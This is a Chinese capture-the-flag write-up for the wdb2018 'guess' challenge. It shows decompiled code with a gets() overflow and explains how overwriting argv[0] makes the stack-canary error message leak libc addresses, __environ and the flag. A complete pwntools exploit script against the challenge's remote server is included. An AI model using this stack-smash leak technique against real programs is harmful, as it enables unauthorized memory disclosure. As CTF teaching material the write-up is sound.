wdb2018_guess(stack smash,__environ获取栈变量)

checksec:

开启了Canary

 main:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch]
  int v5; // [rsp+1Ch] [rbp-84h]
  __int64 v6; // [rsp+20h] [rbp-80h]
  __int64 v7; // [rsp+28h] [rbp-78h]
  char buf; // [rsp+30h] [rbp-70h]
  char s2; // [rsp+60h] [rbp-40h]
  unsigned __int64 v10; // [rsp+98h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  v7 = 3LL;
  LODWORD(stat_loc.__uptr) = 0;
  v6 = 0LL;
  sub_4009A6();
  HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
  if ( HIDWORD(stat_loc.__iptr) == -1 )
  {
    perror("./flag.txt");
    _exit(-1);
  }
  read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
  close(SHIDWORD(stat_loc.__iptr));
  puts("This is GUESS FLAG CHALLENGE!");
  while ( 1 )
  {
    if ( v6 >= v7 )
    {
      puts("you have no sense... bye :-) ");
      return 0LL;
    }
    v5 = sub_400A11();
    if ( !v5 )
      break;
    ++v6;
    wait((__WAIT_STATUS)&stat_loc);
  }
  puts("Please type your guessing flag");
  gets(&s2);
  if ( !strcmp(&buf, &s2) )
    puts("You must have great six sense!!!! :-o ");
  else
    puts("You should take more effort to get six sence, and one more challenge!!");
  return 0LL;
}

sub_400A11:

__int64 sub_400A11()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  v1 = fork();
  if ( v1 == -1 )
    err(1, "can not fork");
  return v1;
}

很明显,gets存在栈溢出。flag一开始就被写进栈中。我们需要利用canary报错的信息泄露flag。

canary检测到栈溢出后的报错信息打印出了程序名,实际上这个文件名是由argv[0]指向的。只要通过栈溢出用自己构造的

字符串地址覆盖掉argv[0]就能打印相应的字符串。

关于_environ:https://blog.csdn.net/chennbnbnb/article/details/104035261

我们还不知道偏移是多少,需要通过_environ找到偏移。获取_environ的地址需要先泄露出libc。

所以总计要三次溢出。程序刚好fork了三次。

 计算出输入参数的地址到argv[0]的偏移为0x128

第一次溢出获取puts地址:

payload='a'*0x128+p64(puts_got)
a.sendline(payload)
puts_addr=u64(a.recvuntil('x7f')[-6:].ljust(8,'x00'))
print hex(puts_addr)
libc_base=puts_addr-libc.sym['puts']
environ=libc_base+libc.sym['__environ']

第二次溢出泄露_environ地址:

payload='a'*0x128+p64(environ)
a.sendline(payload)
environ_addr=u64(a.recvuntil('x7f')[-6:].ljust(8,'x00'))
print hex(environ_addr)

本地调试(sad是我本地flag.txt的内容),算出flag和environ的偏移为0x168

 

 第三次溢出打印flag:

payload='a'*0x128+p64(environ_addr-0x168)
a.sendline(payload)
#gdb.attach(a)
a.interactive()

exp:

#!/usr/bin/python
#coding:utf-8
from pwn import *
from struct import pack

a=remote("node3.buuoj.cn",25266)
#a=process("/root/guess",env = {"LD_PRELOAD": "./libc.so.6"})
libc=ELF("/root/libc-2.23.so")
elf=ELF("/root/guess")
#puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
#context(os='linux',log_level='debug')

payload='a'*0x128+p64(puts_got)
a.sendline(payload)
puts_addr=u64(a.recvuntil('x7f')[-6:].ljust(8,'x00'))
print hex(puts_addr)
libc_base=puts_addr-libc.sym['puts']
environ=libc_base+libc.sym['__environ']

payload='a'*0x128+p64(environ)
a.sendline(payload)
environ_addr=u64(a.recvuntil('x7f')[-6:].ljust(8,'x00'))
print hex(environ_addr)

payload='a'*0x128+p64(environ_addr-0x168)
a.sendline(payload)
#gdb.attach(a)
a.interactive()

成功getflag:

原文地址:https://www.cnblogs.com/remon535/p/14152055.html